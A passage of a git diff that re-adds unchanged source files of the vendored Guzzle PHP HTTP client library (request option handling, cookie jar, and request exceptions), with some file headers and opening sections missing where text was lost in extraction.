applyOptions(RequestInterface $request, array &$options) - { - $modify = [ - 'set_headers' => [], - ]; - - if (isset($options['headers'])) { - $modify['set_headers'] = $options['headers']; - unset($options['headers']); - } - - if (isset($options['form_params'])) { - if (isset($options['multipart'])) { - throw new \InvalidArgumentException('You cannot use ' - . 'form_params and multipart at the same time. Use the ' - . 'form_params option if you want to send application/' - . 'x-www-form-urlencoded requests, and the multipart ' - . 'option to send multipart/form-data requests.'); - } - $options['body'] = http_build_query($options['form_params'], '', '&'); - unset($options['form_params']); - // Ensure that we don't have the header in different case and set the new value. - $options['_conditional'] = Psr7\_caseless_remove(['Content-Type'], $options['_conditional']); - $options['_conditional']['Content-Type'] = 'application/x-www-form-urlencoded'; - } - - if (isset($options['multipart'])) { - $options['body'] = new Psr7\MultipartStream($options['multipart']); - unset($options['multipart']); - } - - if (isset($options['json'])) { - $options['body'] = \GuzzleHttp\json_encode($options['json']); - unset($options['json']); - // Ensure that we don't have the header in different case and set the new value. - $options['_conditional'] = Psr7\_caseless_remove(['Content-Type'], $options['_conditional']); - $options['_conditional']['Content-Type'] = 'application/json'; - } - - if (!empty($options['decode_content']) - && $options['decode_content'] !== true - ) { - // Ensure that we don't have the header in different case and set the new value. - $options['_conditional'] = Psr7\_caseless_remove(['Accept-Encoding'], $options['_conditional']); - $modify['set_headers']['Accept-Encoding'] = $options['decode_content']; - } - - if (isset($options['body'])) { - if (is_array($options['body'])) { - $this->invalidBody(); - } - $modify['body'] = Psr7\stream_for($options['body']); - unset($options['body']); - } - - if (!empty($options['auth']) && is_array($options['auth'])) { - $value = $options['auth']; - $type = isset($value[2]) ? strtolower($value[2]) : 'basic'; - switch ($type) { - case 'basic': - // Ensure that we don't have the header in different case and set the new value. - $modify['set_headers'] = Psr7\_caseless_remove(['Authorization'], $modify['set_headers']); - $modify['set_headers']['Authorization'] = 'Basic ' - . base64_encode("$value[0]:$value[1]"); - break; - case 'digest': - // @todo: Do not rely on curl - $options['curl'][CURLOPT_HTTPAUTH] = CURLAUTH_DIGEST; - $options['curl'][CURLOPT_USERPWD] = "$value[0]:$value[1]"; - break; - case 'ntlm': - $options['curl'][CURLOPT_HTTPAUTH] = CURLAUTH_NTLM; - $options['curl'][CURLOPT_USERPWD] = "$value[0]:$value[1]"; - break; - } - } - - if (isset($options['query'])) { - $value = $options['query']; - if (is_array($value)) { - $value = http_build_query($value, null, '&', PHP_QUERY_RFC3986); - } - if (!is_string($value)) { - throw new \InvalidArgumentException('query must be a string or array'); - } - $modify['query'] = $value; - unset($options['query']); - } - - // Ensure that sink is not an invalid value. - if (isset($options['sink'])) { - // TODO: Add more sink validation? - if (is_bool($options['sink'])) { - throw new \InvalidArgumentException('sink must not be a boolean'); - } - } - - $request = Psr7\modify_request($request, $modify); - if ($request->getBody() instanceof Psr7\MultipartStream) { - // Use a multipart/form-data POST if a Content-Type is not set. - // Ensure that we don't have the header in different case and set the new value. - $options['_conditional'] = Psr7\_caseless_remove(['Content-Type'], $options['_conditional']); - $options['_conditional']['Content-Type'] = 'multipart/form-data; boundary=' - . $request->getBody()->getBoundary(); - } - - // Merge in conditional headers if they are not present. - if (isset($options['_conditional'])) { - // Build up the changes so it's in a single clone of the message. - $modify = []; - foreach ($options['_conditional'] as $k => $v) { - if (!$request->hasHeader($k)) { - $modify['set_headers'][$k] = $v; - } - } - $request = Psr7\modify_request($request, $modify); - // Don't pass this internal value along to middleware/handlers. - unset($options['_conditional']); - } - - return $request; - } - - /** - * Throw Exception with pre-set message. - * @return void - * @throws \InvalidArgumentException Invalid body. - */ - private function invalidBody() - { - throw new \InvalidArgumentException('Passing in the "body" request ' - . 'option as an array to send a POST request has been deprecated. ' - . 'Please use the "form_params" request option to send a ' - . 'application/x-www-form-urlencoded request, or the "multipart" ' - . 'request option to send a multipart/form-data request.'); - } -} + 'http://www.foo.com/1.0/', + * 'timeout' => 0, + * 'allow_redirects' => false, + * 'proxy' => '192.168.16.1:10' + * ]); + * + * Client configuration settings include the following options: + * + * - handler: (callable) Function that transfers HTTP requests over the + * wire. The function is called with a Psr7\Http\Message\RequestInterface + * and array of transfer options, and must return a + * GuzzleHttp\Promise\PromiseInterface that is fulfilled with a + * Psr7\Http\Message\ResponseInterface on success. + * If no handler is provided, a default handler will be created + * that enables all of the request options below by attaching all of the + * default middleware to the handler. + * - base_uri: (string|UriInterface) Base URI of the client that is merged + * into relative URIs. Can be a string or instance of UriInterface. + * - **: any request option + * + * @param array $config Client configuration settings. + * + * @see \GuzzleHttp\RequestOptions for a list of available request options. + */ + public function __construct(array $config = []) + { + if (!isset($config['handler'])) { + $config['handler'] = HandlerStack::create(); + } elseif (!is_callable($config['handler'])) { + throw new \InvalidArgumentException('handler must be a callable'); + } + + // Convert the base_uri to a UriInterface + if (isset($config['base_uri'])) { + $config['base_uri'] = Psr7\uri_for($config['base_uri']); + } + + $this->configureDefaults($config); + } + + /** + * @param string $method + * @param array $args + * + * @return Promise\PromiseInterface + */ + public function __call($method, $args) + { + if (count($args) < 1) { + throw new \InvalidArgumentException('Magic request methods require a URI and optional options array'); + } + + $uri = $args[0]; + $opts = isset($args[1]) ? $args[1] : []; + + return substr($method, -5) === 'Async' + ? $this->requestAsync(substr($method, 0, -5), $uri, $opts) + : $this->request($method, $uri, $opts); + } + + /** + * Asynchronously send an HTTP request. + * + * @param array $options Request options to apply to the given + * request and to the transfer. See \GuzzleHttp\RequestOptions. + * + * @return Promise\PromiseInterface + */ + public function sendAsync(RequestInterface $request, array $options = []) + { + // Merge the base URI into the request URI if needed. + $options = $this->prepareDefaults($options); + + return $this->transfer( + $request->withUri($this->buildUri($request->getUri(), $options), $request->hasHeader('Host')), + $options + ); + } + + /** + * Send an HTTP request. + * + * @param array $options Request options to apply to the given + * request and to the transfer. See \GuzzleHttp\RequestOptions. + * + * @return ResponseInterface + * @throws GuzzleException + */ + public function send(RequestInterface $request, array $options = []) + { + $options[RequestOptions::SYNCHRONOUS] = true; + return $this->sendAsync($request, $options)->wait(); + } + + /** + * Create and send an asynchronous HTTP request. + * + * Use an absolute path to override the base path of the client, or a + * relative path to append to the base path of the client. The URL can + * contain the query string as well. Use an array to provide a URL + * template and additional variables to use in the URL template expansion. + * + * @param string $method HTTP method + * @param string|UriInterface $uri URI object or string. + * @param array $options Request options to apply. See \GuzzleHttp\RequestOptions. + * + * @return Promise\PromiseInterface + */ + public function requestAsync($method, $uri = '', array $options = []) + { + $options = $this->prepareDefaults($options); + // Remove request modifying parameter because it can be done up-front. + $headers = isset($options['headers']) ? $options['headers'] : []; + $body = isset($options['body']) ? $options['body'] : null; + $version = isset($options['version']) ? $options['version'] : '1.1'; + // Merge the URI into the base URI. + $uri = $this->buildUri($uri, $options); + if (is_array($body)) { + $this->invalidBody(); + } + $request = new Psr7\Request($method, $uri, $headers, $body, $version); + // Remove the option so that they are not doubly-applied. + unset($options['headers'], $options['body'], $options['version']); + + return $this->transfer($request, $options); + } + + /** + * Create and send an HTTP request. + * + * Use an absolute path to override the base path of the client, or a + * relative path to append to the base path of the client. The URL can + * contain the query string as well. + * + * @param string $method HTTP method. + * @param string|UriInterface $uri URI object or string. + * @param array $options Request options to apply. See \GuzzleHttp\RequestOptions. + * + * @return ResponseInterface + * @throws GuzzleException + */ + public function request($method, $uri = '', array $options = []) + { + $options[RequestOptions::SYNCHRONOUS] = true; + return $this->requestAsync($method, $uri, $options)->wait(); + } + + /** + * Get a client configuration option. + * + * These options include default request options of the client, a "handler" + * (if utilized by the concrete client), and a "base_uri" if utilized by + * the concrete client. + * + * @param string|null $option The config option to retrieve. + * + * @return mixed + */ + public function getConfig($option = null) + { + return $option === null + ? $this->config + : (isset($this->config[$option]) ? $this->config[$option] : null); + } + + /** + * @param string|null $uri + * + * @return UriInterface + */ + private function buildUri($uri, array $config) + { + // for BC we accept null which would otherwise fail in uri_for + $uri = Psr7\uri_for($uri === null ? '' : $uri); + + if (isset($config['base_uri'])) { + $uri = Psr7\UriResolver::resolve(Psr7\uri_for($config['base_uri']), $uri); + } + + if (isset($config['idn_conversion']) && ($config['idn_conversion'] !== false)) { + $idnOptions = ($config['idn_conversion'] === true) ? IDNA_DEFAULT : $config['idn_conversion']; + $uri = Utils::idnUriConvert($uri, $idnOptions); + } + + return $uri->getScheme() === '' && $uri->getHost() !== '' ? $uri->withScheme('http') : $uri; + } + + /** + * Configures the default options for a client. + * + * @param array $config + * @return void + */ + private function configureDefaults(array $config) + { + $defaults = [ + 'allow_redirects' => RedirectMiddleware::$defaultSettings, + 'http_errors' => true, + 'decode_content' => true, + 'verify' => true, + 'cookies' => false, + 'idn_conversion' => true, + ]; + + // Use the standard Linux HTTP_PROXY and HTTPS_PROXY if set. + + // We can only trust the HTTP_PROXY environment variable in a CLI + // process due to the fact that PHP has no reliable mechanism to + // get environment variables that start with "HTTP_". + if (php_sapi_name() === 'cli' && getenv('HTTP_PROXY')) { + $defaults['proxy']['http'] = getenv('HTTP_PROXY'); + } + + if ($proxy = getenv('HTTPS_PROXY')) { + $defaults['proxy']['https'] = $proxy; + } + + if ($noProxy = getenv('NO_PROXY')) { + $cleanedNoProxy = str_replace(' ', '', $noProxy); + $defaults['proxy']['no'] = explode(',', $cleanedNoProxy); + } + + $this->config = $config + $defaults; + + if (!empty($config['cookies']) && $config['cookies'] === true) { + $this->config['cookies'] = new CookieJar(); + } + + // Add the default user-agent header. + if (!isset($this->config['headers'])) { + $this->config['headers'] = ['User-Agent' => default_user_agent()]; + } else { + // Add the User-Agent header if one was not already set. + foreach (array_keys($this->config['headers']) as $name) { + if (strtolower($name) === 'user-agent') { + return; + } + } + $this->config['headers']['User-Agent'] = default_user_agent(); + } + } + + /** + * Merges default options into the array. + * + * @param array $options Options to modify by reference + * + * @return array + */ + private function prepareDefaults(array $options) + { + $defaults = $this->config; + + if (!empty($defaults['headers'])) { + // Default headers are only added if they are not present. + $defaults['_conditional'] = $defaults['headers']; + unset($defaults['headers']); + } + + // Special handling for headers is required as they are added as + // conditional headers and as headers passed to a request ctor. + if (array_key_exists('headers', $options)) { + // Allows default headers to be unset. + if ($options['headers'] === null) { + $defaults['_conditional'] = []; + unset($options['headers']); + } elseif (!is_array($options['headers'])) { + throw new \InvalidArgumentException('headers must be an array'); + } + } + + // Shallow merge defaults underneath options. + $result = $options + $defaults; + + // Remove null values. + foreach ($result as $k => $v) { + if ($v === null) { + unset($result[$k]); + } + } + + return $result; + } + + /** + * Transfers the given request and applies request options. + * + * The URI of the request is not modified and the request options are used + * as-is without merging in default options. + * + * @param array $options See \GuzzleHttp\RequestOptions. + * + * @return Promise\PromiseInterface + */ + private function transfer(RequestInterface $request, array $options) + { + // save_to -> sink + if (isset($options['save_to'])) { + $options['sink'] = $options['save_to']; + unset($options['save_to']); + } + + // exceptions -> http_errors + if (isset($options['exceptions'])) { + $options['http_errors'] = $options['exceptions']; + unset($options['exceptions']); + } + + $request = $this->applyOptions($request, $options); + /** @var HandlerStack $handler */ + $handler = $options['handler']; + + try { + return Promise\promise_for($handler($request, $options)); + } catch (\Exception $e) { + return Promise\rejection_for($e); + } + } + + /** + * Applies the array of request options to a request. + * + * @param RequestInterface $request + * @param array $options + * + * @return RequestInterface + */ + private function applyOptions(RequestInterface $request, array &$options) + { + $modify = [ + 'set_headers' => [], + ]; + + if (isset($options['headers'])) { + $modify['set_headers'] = $options['headers']; + unset($options['headers']); + } + + if (isset($options['form_params'])) { + if (isset($options['multipart'])) { + throw new \InvalidArgumentException('You cannot use ' + . 'form_params and multipart at the same time. Use the ' + . 'form_params option if you want to send application/' + . 'x-www-form-urlencoded requests, and the multipart ' + . 'option to send multipart/form-data requests.'); + } + $options['body'] = http_build_query($options['form_params'], '', '&'); + unset($options['form_params']); + // Ensure that we don't have the header in different case and set the new value. + $options['_conditional'] = Psr7\_caseless_remove(['Content-Type'], $options['_conditional']); + $options['_conditional']['Content-Type'] = 'application/x-www-form-urlencoded'; + } + + if (isset($options['multipart'])) { + $options['body'] = new Psr7\MultipartStream($options['multipart']); + unset($options['multipart']); + } + + if (isset($options['json'])) { + $options['body'] = \GuzzleHttp\json_encode($options['json']); + unset($options['json']); + // Ensure that we don't have the header in different case and set the new value. + $options['_conditional'] = Psr7\_caseless_remove(['Content-Type'], $options['_conditional']); + $options['_conditional']['Content-Type'] = 'application/json'; + } + + if (!empty($options['decode_content']) + && $options['decode_content'] !== true + ) { + // Ensure that we don't have the header in different case and set the new value. + $options['_conditional'] = Psr7\_caseless_remove(['Accept-Encoding'], $options['_conditional']); + $modify['set_headers']['Accept-Encoding'] = $options['decode_content']; + } + + if (isset($options['body'])) { + if (is_array($options['body'])) { + $this->invalidBody(); + } + $modify['body'] = Psr7\stream_for($options['body']); + unset($options['body']); + } + + if (!empty($options['auth']) && is_array($options['auth'])) { + $value = $options['auth']; + $type = isset($value[2]) ? strtolower($value[2]) : 'basic'; + switch ($type) { + case 'basic': + // Ensure that we don't have the header in different case and set the new value. + $modify['set_headers'] = Psr7\_caseless_remove(['Authorization'], $modify['set_headers']); + $modify['set_headers']['Authorization'] = 'Basic ' + . base64_encode("$value[0]:$value[1]"); + break; + case 'digest': + // @todo: Do not rely on curl + $options['curl'][CURLOPT_HTTPAUTH] = CURLAUTH_DIGEST; + $options['curl'][CURLOPT_USERPWD] = "$value[0]:$value[1]"; + break; + case 'ntlm': + $options['curl'][CURLOPT_HTTPAUTH] = CURLAUTH_NTLM; + $options['curl'][CURLOPT_USERPWD] = "$value[0]:$value[1]"; + break; + } + } + + if (isset($options['query'])) { + $value = $options['query']; + if (is_array($value)) { + $value = http_build_query($value, null, '&', PHP_QUERY_RFC3986); + } + if (!is_string($value)) { + throw new \InvalidArgumentException('query must be a string or array'); + } + $modify['query'] = $value; + unset($options['query']); + } + + // Ensure that sink is not an invalid value. + if (isset($options['sink'])) { + // TODO: Add more sink validation? + if (is_bool($options['sink'])) { + throw new \InvalidArgumentException('sink must not be a boolean'); + } + } + + $request = Psr7\modify_request($request, $modify); + if ($request->getBody() instanceof Psr7\MultipartStream) { + // Use a multipart/form-data POST if a Content-Type is not set. + // Ensure that we don't have the header in different case and set the new value. + $options['_conditional'] = Psr7\_caseless_remove(['Content-Type'], $options['_conditional']); + $options['_conditional']['Content-Type'] = 'multipart/form-data; boundary=' + . $request->getBody()->getBoundary(); + } + + // Merge in conditional headers if they are not present. + if (isset($options['_conditional'])) { + // Build up the changes so it's in a single clone of the message. + $modify = []; + foreach ($options['_conditional'] as $k => $v) { + if (!$request->hasHeader($k)) { + $modify['set_headers'][$k] = $v; + } + } + $request = Psr7\modify_request($request, $modify); + // Don't pass this internal value along to middleware/handlers. + unset($options['_conditional']); + } + + return $request; + } + + /** + * Throw Exception with pre-set message. + * @return void + * @throws \InvalidArgumentException Invalid body. + */ + private function invalidBody() + { + throw new \InvalidArgumentException('Passing in the "body" request ' + . 'option as an array to send a POST request has been deprecated. ' + . 'Please use the "form_params" request option to send a ' + . 'application/x-www-form-urlencoded request, or the "multipart" ' + . 'request option to send a multipart/form-data request.'); + } +} diff --git a/vendor/guzzlehttp/guzzle/src/ClientInterface.php b/vendor/guzzlehttp/guzzle/src/ClientInterface.php index 71e4f65fba..638b75dca4 100644 --- a/vendor/guzzlehttp/guzzle/src/ClientInterface.php +++ b/vendor/guzzlehttp/guzzle/src/ClientInterface.php @@ -1,87 +1,87 @@ -strictMode = $strictMode; - - foreach ($cookieArray as $cookie) { - if (!($cookie instanceof SetCookie)) { - $cookie = new SetCookie($cookie); - } - $this->setCookie($cookie); - } - } - - /** - * Create a new Cookie jar from an associative array and domain. - * - * @param array $cookies Cookies to create the jar from - * @param string $domain Domain to set the cookies to - * - * @return self - */ - public static function fromArray(array $cookies, $domain) - { - $cookieJar = new self(); - foreach ($cookies as $name => $value) { - $cookieJar->setCookie(new SetCookie([ - 'Domain' => $domain, - 'Name' => $name, - 'Value' => $value, - 'Discard' => true - ])); - } - - return $cookieJar; - } - - /** - * @deprecated - */ - public static function getCookieValue($value) - { - return $value; - } - - /** - * Evaluate if this cookie should be persisted to storage - * that survives between requests. - * - * @param SetCookie $cookie Being evaluated. - * @param bool $allowSessionCookies If we should persist session cookies - * @return bool - */ - public static function shouldPersist( - SetCookie $cookie, - $allowSessionCookies = false - ) { - if ($cookie->getExpires() || $allowSessionCookies) { - if (!$cookie->getDiscard()) { - return true; - } - } - - return false; - } - - /** - * Finds and returns the cookie based on the name - * - * @param string $name cookie name to search for - * @return SetCookie|null cookie that was found or null if not found - */ - public function getCookieByName($name) - { - // don't allow a non string name - if ($name === null || !is_scalar($name)) { - return null; - } - foreach ($this->cookies as $cookie) { - if ($cookie->getName() !== null && strcasecmp($cookie->getName(), $name) === 0) { - return $cookie; - } - } - - return null; - } - - public function toArray() - { - return array_map(function (SetCookie $cookie) { - return $cookie->toArray(); - }, $this->getIterator()->getArrayCopy()); - } - - public function clear($domain = null, $path = null, $name = null) - { - if (!$domain) { - $this->cookies = []; - return; - } elseif (!$path) { - $this->cookies = array_filter( - $this->cookies, - function (SetCookie $cookie) use ($domain) { - return !$cookie->matchesDomain($domain); - } - ); - } elseif (!$name) { - $this->cookies = array_filter( - $this->cookies, - function (SetCookie $cookie) use ($path, $domain) { - return !($cookie->matchesPath($path) && - $cookie->matchesDomain($domain)); - } - ); - } else { - $this->cookies = array_filter( - $this->cookies, - function (SetCookie $cookie) use ($path, $domain, $name) { - return !($cookie->getName() == $name && - $cookie->matchesPath($path) && - $cookie->matchesDomain($domain)); - } - ); - } - } - - public function clearSessionCookies() - { - $this->cookies = array_filter( - $this->cookies, - function (SetCookie $cookie) { - return !$cookie->getDiscard() && $cookie->getExpires(); - } - ); - } - - public function setCookie(SetCookie $cookie) - { - // If the name string is empty (but not 0), ignore the set-cookie - // string entirely. - $name = $cookie->getName(); - if (!$name && $name !== '0') { - return false; - } - - // Only allow cookies with set and valid domain, name, value - $result = $cookie->validate(); - if ($result !== true) { - if ($this->strictMode) { - throw new \RuntimeException('Invalid cookie: ' . $result); - } else { - $this->removeCookieIfEmpty($cookie); - return false; - } - } - - // Resolve conflicts with previously set cookies - foreach ($this->cookies as $i => $c) { - - // Two cookies are identical, when their path, and domain are - // identical. - if ($c->getPath() != $cookie->getPath() || - $c->getDomain() != $cookie->getDomain() || - $c->getName() != $cookie->getName() - ) { - continue; - } - - // The previously set cookie is a discard cookie and this one is - // not so allow the new cookie to be set - if (!$cookie->getDiscard() && $c->getDiscard()) { - unset($this->cookies[$i]); - continue; - } - - // If the new cookie's expiration is further into the future, then - // replace the old cookie - if ($cookie->getExpires() > $c->getExpires()) { - unset($this->cookies[$i]); - continue; - } - - // If the value has changed, we better change it - if ($cookie->getValue() !== $c->getValue()) { - unset($this->cookies[$i]); - continue; - } - - // The cookie exists, so no need to continue - return false; - } - - $this->cookies[] = $cookie; - - return true; - } - - public function count() - { - return count($this->cookies); - } - - public function getIterator() - { - return new \ArrayIterator(array_values($this->cookies)); - } - - public function extractCookies( - RequestInterface $request, - ResponseInterface $response - ) { - if ($cookieHeader = $response->getHeader('Set-Cookie')) { - foreach ($cookieHeader as $cookie) { - $sc = SetCookie::fromString($cookie); - if (!$sc->getDomain()) { - $sc->setDomain($request->getUri()->getHost()); - } - if (0 !== strpos($sc->getPath(), '/')) { - $sc->setPath($this->getCookiePathFromRequest($request)); - } - $this->setCookie($sc); - } - } - } - - /** - * Computes cookie path following RFC 6265 section 5.1.4 - * - * @link https://tools.ietf.org/html/rfc6265#section-5.1.4 - * - * @param RequestInterface $request - * @return string - */ - private function getCookiePathFromRequest(RequestInterface $request) - { - $uriPath = $request->getUri()->getPath(); - if ('' === $uriPath) { - return '/'; - } - if (0 !== strpos($uriPath, '/')) { - return '/'; - } - if ('/' === $uriPath) { - return '/'; - } - if (0 === $lastSlashPos = strrpos($uriPath, '/')) { - return '/'; - } - - return substr($uriPath, 0, $lastSlashPos); - } - - public function withCookieHeader(RequestInterface $request) - { - $values = []; - $uri = $request->getUri(); - $scheme = $uri->getScheme(); - $host = $uri->getHost(); - $path = $uri->getPath() ?: '/'; - - foreach ($this->cookies as $cookie) { - if ($cookie->matchesPath($path) && - $cookie->matchesDomain($host) && - !$cookie->isExpired() && - (!$cookie->getSecure() || $scheme === 'https') - ) { - $values[] = $cookie->getName() . '=' - . $cookie->getValue(); - } - } - - return $values - ? $request->withHeader('Cookie', implode('; ', $values)) - : $request; - } - - /** - * If a cookie already exists and the server asks to set it again with a - * null value, the cookie must be deleted. - * - * @param SetCookie $cookie - */ - private function removeCookieIfEmpty(SetCookie $cookie) - { - $cookieValue = $cookie->getValue(); - if ($cookieValue === null || $cookieValue === '') { - $this->clear( - $cookie->getDomain(), - $cookie->getPath(), - $cookie->getName() - ); - } - } -} +strictMode = $strictMode; + + foreach ($cookieArray as $cookie) { + if (!($cookie instanceof SetCookie)) { + $cookie = new SetCookie($cookie); + } + $this->setCookie($cookie); + } + } + + /** + * Create a new Cookie jar from an associative array and domain. + * + * @param array $cookies Cookies to create the jar from + * @param string $domain Domain to set the cookies to + * + * @return self + */ + public static function fromArray(array $cookies, $domain) + { + $cookieJar = new self(); + foreach ($cookies as $name => $value) { + $cookieJar->setCookie(new SetCookie([ + 'Domain' => $domain, + 'Name' => $name, + 'Value' => $value, + 'Discard' => true + ])); + } + + return $cookieJar; + } + + /** + * @deprecated + */ + public static function getCookieValue($value) + { + return $value; + } + + /** + * Evaluate if this cookie should be persisted to storage + * that survives between requests. + * + * @param SetCookie $cookie Being evaluated. + * @param bool $allowSessionCookies If we should persist session cookies + * @return bool + */ + public static function shouldPersist( + SetCookie $cookie, + $allowSessionCookies = false + ) { + if ($cookie->getExpires() || $allowSessionCookies) { + if (!$cookie->getDiscard()) { + return true; + } + } + + return false; + } + + /** + * Finds and returns the cookie based on the name + * + * @param string $name cookie name to search for + * @return SetCookie|null cookie that was found or null if not found + */ + public function getCookieByName($name) + { + // don't allow a non string name + if ($name === null || !is_scalar($name)) { + return null; + } + foreach ($this->cookies as $cookie) { + if ($cookie->getName() !== null && strcasecmp($cookie->getName(), $name) === 0) { + return $cookie; + } + } + + return null; + } + + public function toArray() + { + return array_map(function (SetCookie $cookie) { + return $cookie->toArray(); + }, $this->getIterator()->getArrayCopy()); + } + + public function clear($domain = null, $path = null, $name = null) + { + if (!$domain) { + $this->cookies = []; + return; + } elseif (!$path) { + $this->cookies = array_filter( + $this->cookies, + function (SetCookie $cookie) use ($domain) { + return !$cookie->matchesDomain($domain); + } + ); + } elseif (!$name) { + $this->cookies = array_filter( + $this->cookies, + function (SetCookie $cookie) use ($path, $domain) { + return !($cookie->matchesPath($path) && + $cookie->matchesDomain($domain)); + } + ); + } else { + $this->cookies = array_filter( + $this->cookies, + function (SetCookie $cookie) use ($path, $domain, $name) { + return !($cookie->getName() == $name && + $cookie->matchesPath($path) && + $cookie->matchesDomain($domain)); + } + ); + } + } + + public function clearSessionCookies() + { + $this->cookies = array_filter( + $this->cookies, + function (SetCookie $cookie) { + return !$cookie->getDiscard() && $cookie->getExpires(); + } + ); + } + + public function setCookie(SetCookie $cookie) + { + // If the name string is empty (but not 0), ignore the set-cookie + // string entirely. + $name = $cookie->getName(); + if (!$name && $name !== '0') { + return false; + } + + // Only allow cookies with set and valid domain, name, value + $result = $cookie->validate(); + if ($result !== true) { + if ($this->strictMode) { + throw new \RuntimeException('Invalid cookie: ' . $result); + } else { + $this->removeCookieIfEmpty($cookie); + return false; + } + } + + // Resolve conflicts with previously set cookies + foreach ($this->cookies as $i => $c) { + + // Two cookies are identical, when their path, and domain are + // identical. + if ($c->getPath() != $cookie->getPath() || + $c->getDomain() != $cookie->getDomain() || + $c->getName() != $cookie->getName() + ) { + continue; + } + + // The previously set cookie is a discard cookie and this one is + // not so allow the new cookie to be set + if (!$cookie->getDiscard() && $c->getDiscard()) { + unset($this->cookies[$i]); + continue; + } + + // If the new cookie's expiration is further into the future, then + // replace the old cookie + if ($cookie->getExpires() > $c->getExpires()) { + unset($this->cookies[$i]); + continue; + } + + // If the value has changed, we better change it + if ($cookie->getValue() !== $c->getValue()) { + unset($this->cookies[$i]); + continue; + } + + // The cookie exists, so no need to continue + return false; + } + + $this->cookies[] = $cookie; + + return true; + } + + public function count() + { + return count($this->cookies); + } + + public function getIterator() + { + return new \ArrayIterator(array_values($this->cookies)); + } + + public function extractCookies( + RequestInterface $request, + ResponseInterface $response + ) { + if ($cookieHeader = $response->getHeader('Set-Cookie')) { + foreach ($cookieHeader as $cookie) { + $sc = SetCookie::fromString($cookie); + if (!$sc->getDomain()) { + $sc->setDomain($request->getUri()->getHost()); + } + if (0 !== strpos($sc->getPath(), '/')) { + $sc->setPath($this->getCookiePathFromRequest($request)); + } + $this->setCookie($sc); + } + } + } + + /** + * Computes cookie path following RFC 6265 section 5.1.4 + * + * @link https://tools.ietf.org/html/rfc6265#section-5.1.4 + * + * @param RequestInterface $request + * @return string + */ + private function getCookiePathFromRequest(RequestInterface $request) + { + $uriPath = $request->getUri()->getPath(); + if ('' === $uriPath) { + return '/'; + } + if (0 !== strpos($uriPath, '/')) { + return '/'; + } + if ('/' === $uriPath) { + return '/'; + } + if (0 === $lastSlashPos = strrpos($uriPath, '/')) { + return '/'; + } + + return substr($uriPath, 0, $lastSlashPos); + } + + public function withCookieHeader(RequestInterface $request) + { + $values = []; + $uri = $request->getUri(); + $scheme = $uri->getScheme(); + $host = $uri->getHost(); + $path = $uri->getPath() ?: '/'; + + foreach ($this->cookies as $cookie) { + if ($cookie->matchesPath($path) && + $cookie->matchesDomain($host) && + !$cookie->isExpired() && + (!$cookie->getSecure() || $scheme === 'https') + ) { + $values[] = $cookie->getName() . '=' + . $cookie->getValue(); + } + } + + return $values + ? $request->withHeader('Cookie', implode('; ', $values)) + : $request; + } + + /** + * If a cookie already exists and the server asks to set it again with a + * null value, the cookie must be deleted. + * + * @param SetCookie $cookie + */ + private function removeCookieIfEmpty(SetCookie $cookie) + { + $cookieValue = $cookie->getValue(); + if ($cookieValue === null || $cookieValue === '') { + $this->clear( + $cookie->getDomain(), + $cookie->getPath(), + $cookie->getName() + ); + } + } +} diff --git a/vendor/guzzlehttp/guzzle/src/Exception/ClientException.php b/vendor/guzzlehttp/guzzle/src/Exception/ClientException.php index 1edd7d8cbb..4cfd393cc1 100644 --- a/vendor/guzzlehttp/guzzle/src/Exception/ClientException.php +++ b/vendor/guzzlehttp/guzzle/src/Exception/ClientException.php @@ -1,9 +1,9 @@ -getStatusCode() - : 0; - parent::__construct($message, $code, $previous); - $this->request = $request; - $this->response = $response; - $this->handlerContext = $handlerContext; - } - - /** - * Wrap non-RequestExceptions with a RequestException - * - * @param RequestInterface $request - * @param \Exception $e - * - * @return RequestException - */ - public static function wrapException(RequestInterface $request, \Exception $e) - { - return $e instanceof RequestException - ? $e - : new RequestException($e->getMessage(), $request, null, $e); - } - - /** - * Factory method to create a new exception with a normalized error message - * - * @param RequestInterface $request Request - * @param ResponseInterface $response Response received - * @param \Exception $previous Previous exception - * @param array $ctx Optional handler context. - * - * @return self - */ - public static function create( - RequestInterface $request, - ResponseInterface $response = null, - \Exception $previous = null, - array $ctx = [] - ) { - if (!$response) { - return new self( - 'Error completing request', - $request, - null, - $previous, - $ctx - ); - } - - $level = (int) floor($response->getStatusCode() / 100); - if ($level === 4) { - $label = 'Client error'; - $className = ClientException::class; - } elseif ($level === 5) { - $label = 'Server error'; - $className = ServerException::class; - } else { - $label = 'Unsuccessful request'; - $className = __CLASS__; - } - - $uri = $request->getUri(); - $uri = static::obfuscateUri($uri); - - // Client Error: `GET /` resulted in a `404 Not Found` response: - // ... (truncated) - $message = sprintf( - '%s: `%s %s` resulted in a `%s %s` response', - $label, - $request->getMethod(), - $uri, - $response->getStatusCode(), - $response->getReasonPhrase() - ); - - $summary = static::getResponseBodySummary($response); - - if ($summary !== null) { - $message .= ":\n{$summary}\n"; - } - - return new $className($message, $request, $response, $previous, $ctx); - } - - /** - * Get a short summary of the response - * - * Will return `null` if the response is not printable. - * - * @param ResponseInterface $response - * - * @return string|null - */ - public static function getResponseBodySummary(ResponseInterface $response) - { - return \GuzzleHttp\Psr7\get_message_body_summary($response); - } - - /** - * Obfuscates URI if there is a username and a password present - * - * @param UriInterface $uri - * - * @return UriInterface - */ - private static function obfuscateUri(UriInterface $uri) - { - $userInfo = $uri->getUserInfo(); - - if (false !== ($pos = strpos($userInfo, ':'))) { - return $uri->withUserInfo(substr($userInfo, 0, $pos), '***'); - } - - return $uri; - } - - /** - * Get the request that caused the exception - * - * @return RequestInterface - */ - public function getRequest() - { - return $this->request; - } - - /** - * Get the associated response - * - * @return ResponseInterface|null - */ - public function getResponse() - { - return $this->response; - } - - /** - * Check if a response was received - * - * @return bool - */ - public function hasResponse() - { - return $this->response !== null; - } - - /** - * Get contextual information about the error from the underlying handler. - * - * The contents of this array will vary depending on which handler you are - * using. It may also be just an empty array. Relying on this data will - * couple you to a specific handler, but can give more debug information - * when needed. - * - * @return array - */ - public function getHandlerContext() - { - return $this->handlerContext; - } -} +getStatusCode() + : 0; + parent::__construct($message, $code, $previous); + $this->request = $request; + $this->response = $response; + $this->handlerContext = $handlerContext; + } + + /** + * Wrap non-RequestExceptions with a RequestException + * + * @param RequestInterface $request + * @param \Exception $e + * + * @return RequestException + */ + public static function wrapException(RequestInterface $request, \Exception $e) + { + return $e instanceof RequestException + ? $e + : new RequestException($e->getMessage(), $request, null, $e); + } + + /** + * Factory method to create a new exception with a normalized error message + * + * @param RequestInterface $request Request + * @param ResponseInterface $response Response received + * @param \Exception $previous Previous exception + * @param array $ctx Optional handler context. + * + * @return self + */ + public static function create( + RequestInterface $request, + ResponseInterface $response = null, + \Exception $previous = null, + array $ctx = [] + ) { + if (!$response) { + return new self( + 'Error completing 